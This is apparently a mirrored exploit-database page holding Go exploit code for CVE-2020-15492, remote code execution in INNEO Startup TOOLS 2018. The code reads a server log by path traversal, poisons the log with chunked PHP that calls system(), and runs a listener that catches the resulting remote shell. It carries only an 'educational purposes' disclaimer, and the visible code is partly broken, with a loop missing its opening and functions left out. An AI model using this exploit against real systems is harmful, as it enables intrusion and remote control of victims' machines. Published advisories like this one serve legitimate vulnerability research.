Exploits / Vulnerability Discovered : 2020-07-26 |
Type : webapps |
Platform : multiple
This exploit / vulnerability Inneo startup tools 2018 m040 13.0.70.3804 remote code execution is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
# Exploit Title: INNEO Startup TOOLS 2018 M040 13.0.70.3804 - Remote Code Execution
# Date: 2020-07-23
# Exploit Author: Patrick Hener, SySS GmbH
# Many credits go to Dr. Benjamin Heß, SySS GmbH for helping with php oddities and the powershell payload
# Advisory: SYSS-2020-028 (https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2020-028.txt)
# Vendor Homepage: https://www.inneo.co.uk/en/home.html
# Version: Startup TOOLS 2017/2018
# Tested on: Windows 10 x64
# CVE : CVE-2020-15492
/* This exploit was written by Patrick Hener, SySS GmbH
*/
func transferStreams(con net.Conn) {
c := make(chan progress)
// Read from Reader and write to Writer until EOF
copy := func(r io.ReadCloser, w io.WriteCloser) {
defer func() {
r.Close()
w.Close()
}()
n, err := io.Copy(w, r)
if err != nil {
fmt.Printf("[%s]: ERROR: %s\n", con.RemoteAddr(), err)
}
c <- progress{bytes: uint64(n)}
}
go copy(con, os.Stdout)
go copy(os.Stdin, con)
p := <-c
fmt.Printf("[*] [%s]: Connection has been closed by remote peer, %d bytes has been received\n", con.RemoteAddr(), p.bytes)
p = <-c
fmt.Printf("[*] [%s]: Local peer has been stopped, %d bytes has been sent\n", con.RemoteAddr(), p.bytes)
}
func startServer(addr string) {
ln, err := net.Listen("tcp", addr)
if err != nil {
log.Fatalln(err)
}
fmt.Printf("[+] Now listening on %s\n", addr)
con, err := ln.Accept()
if err != nil {
log.Fatalln(err)
}
fmt.Printf("[+] [%s]: Connection has been opened. Press 'RETURN' once to start. Enjoy your shell, good sir.\n", con.RemoteAddr())
transferStreams(con)
}
func stage1(target string, traversal string, installDir string) string {
fmt.Printf("[*] Attacking target %s with assumed install path %s\n", target, installDir)
fmt.Printf("[*] Trying to read 'sut_server.log' to receive hostname of target at %s%s%s/software/LOG/sut_server.log\n", target, traversal, installDir)
path := fmt.Sprintf("%s/software/LOG/sut_server.log", installDir)
success, response := readFile(target, traversal, path)
if !success {
fmt.Printf("[-] It looks like %s%s%s is not there. Provide install_dir to try via args.\n", target, traversal, installDir)
os.Exit(2)
}
hostname := parseHostname(response)
return hostname
}
func stage2(target string, traversal string, installDir string, payloadFinal string) {
/* Stage 2 - poison log with php payload
Special about that is the length of payload junk has max restriction of about 200 characters
Thus we are splitting up the payload escaping the trash we don't need like
the 'n' is nesessary to escape DRIVE:\ which will be DRIVE:\n then
<?php $cmd=''; $foo= '
n'; $cmd.="part1"; $foo='
n'; $cmd.="part2"; $foo='
....
n'; system(cmd); ?>
*/
fmt.Println("[*] Poisoning Log with payload")
/* Start of the php code */
start := customEscape("<?php $cmd=''; $foo='")
success, _ := poison(target, traversal, start)
if !success {
fmt.Println("Poisoning failed. Exiting")
os.Exit(2)
}
/* Looping through payload */
offset := 0
pre := "n'; $cmd.='"
post := "'; $foo='"
if len(payloadFinal)-offset <= 150-len(pre)-len(post) {
break
}
}
/* Send last slice of payload to prevent from out of range error */
payload := payloadFinal[offset:len(payloadFinal)]
poisonPath := payloadEscape(fmt.Sprintf("%s%s%s", pre, payload, post))
success, _ = poison(target, traversal, poisonPath)
if !success {
fmt.Println("Poisoning failed. Exiting")
os.Exit(2)
}
/* End of the php code */
end := customEscape("n'; system($cmd); die; ?>")
success, _ = poison(target, traversal, end)
if !success {
fmt.Println("Poisoning failed. Exiting")
os.Exit(2)
}
}